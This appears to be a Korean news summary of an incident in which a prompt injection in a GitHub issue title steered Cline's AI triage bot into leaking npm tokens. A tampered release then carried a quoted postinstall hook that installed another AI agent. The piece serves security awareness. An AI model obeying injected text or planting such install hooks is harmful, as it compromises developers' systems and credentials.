- GitHub 이슈 제목에 삽입된 프롬프트 인젝션이 AI 봇을 통해 실행되며, 약 4,000대의 개발자 시스템이 감염됨
- 공격자는 Cline의 AI 기반 이슈 분류 봇을 이용해 명령을 주입하고, 이를 통해 npm 토큰을 탈취함
- 탈취된 자격 증명으로 악성 버전 cline@2.3.0이 배포되어, 설치 시 OpenClaw AI 에이전트가 무단 설치됨
- 기존 보안 통제(코드 리뷰, npm audit, provenance attestations)는 이 공격을 탐지하지 못함
- 사건은 AI 에이전트의 공급망 보안 취약성을 드러내며, CI/CD 환경에서의 AI 자동화 위험성을 경고함
공격 개요
- 2026년 2월 17일, npm에 cline@2.3.0이 게시되었으며, 기존 버전과 동일한 바이너리였지만 package.json에 "postinstall": "npm install -g openclaw@latest" 한 줄이 추가됨
- 이로 인해 8시간 동안 Cline을 설치하거나 업데이트한 약 4,000명의 개발자 시스템에 OpenClaw가 자동 설치됨
- OpenClaw는 전체 시스템 접근 권한을 가진 별도의 AI 에이전트로, 사용자의 동의 없이 글로벌 설치됨
공격 체인 (Clinejection)
대응 실패와 후속 조치
- 보안 연구자 Adnan Khan이 2025년 12월에 취약점을 발견해 2026년 1월 1일 GitHub Security Advisory로 보고했으나, 5주간 응답이 없었음
- 2월 9일 공개 후 Cline은 30분 내에 AI 워크플로를 제거하고 자격 증명 회전을 시작했으나, 잘못된 토큰을 삭제해 노출된 토큰이 남음
- 2월 11일 오류를 인지했지만 이미 공격자가 자격 증명을 탈취한 상태였음
- Khan은 공격자가 아니며, 그의 PoC 코드가 제3자에 의해 악용된 것으로 확인됨
AI가 AI를 설치하는 새로운 패턴
- 이번 사건은 AI 도구가 또 다른 AI 에이전트를 설치하는 형태로, 공급망 내 재귀적 신뢰 문제를 야기함
- 개발자는 Cline을 신뢰했지만, Cline이 OpenClaw를 설치함으로써 신뢰 경계가 무너짐
- OpenClaw는 ~/.openclaw/에서 자격 증명을 읽고, Gateway API를 통한 셸 명령 실행, 지속적 데몬 설치 기능을 가짐
- Endor Labs는 이를 개념 증명 수준의 페이로드로 평가했으나, 글은 “다음 공격은 그렇지 않을 것”이라 경고함
- 이는 ‘Confused Deputy’ 문제의 공급망 버전으로, 개발자가 부여한 권한이 제3의 에이전트로 위임된 사례임
기존 보안 통제가 실패한 이유
-
npm audit: OpenClaw는 합법적 패키지로, 악성 코드 탐지 불가
-
코드 리뷰: CLI 바이너리는 동일하고 package.json 한 줄만 변경되어 자동 비교에서 누락
-
Provenance attestations: 당시 Cline은 OIDC 기반 출처 검증을 사용하지 않아, 탈취된 토큰으로도 게시 가능
-
권한 확인 프롬프트 부재: npm install의 postinstall 훅은 사용자 승인 없이 실행되어 탐지 불가
Cline의 사후 개선 조치
-
자격 증명 관련 워크플로에서 캐시 사용 제거
-
OIDC 기반 npm 출처 검증 도입, 장기 토큰 제거
-
자격 증명 회전 검증 절차 추가
-
공식 취약점 공개 프로세스 및 SLA 도입
-
CI/CD 인프라의 제3자 보안 감사 실시
- 특히 OIDC 전환은 암호화된 출처 증명이 필요해, 탈취된 토큰으로는 게시 불가하게 만듦
구조적 문제와 교훈
- 공격의 진입점은 GitHub 이슈 제목의 자연어 입력이었으며, AI 봇이 이를 명령으로 실행함
- 이는 MCP 도구 오염이나 에이전트 스킬 레지스트리 공격과 동일한 구조로, 신뢰되지 않은 입력이 에이전트의 실행 권한으로 이어짐
- 이번 사례의 차이는, 대상이 개발자 개인이 아닌 CI/CD 환경 전체였다는 점
- AI 에이전트를 CI/CD에 사용하는 모든 팀은, 비신뢰 입력과 비밀 접근권의 결합 위험을 인식해야 함
-
시스템 호출 단위의 정책 평가(per-syscall interception) 가 이러한 공격을 차단할 수 있으며, grith는 이를 위해 설계된 보안 프록시임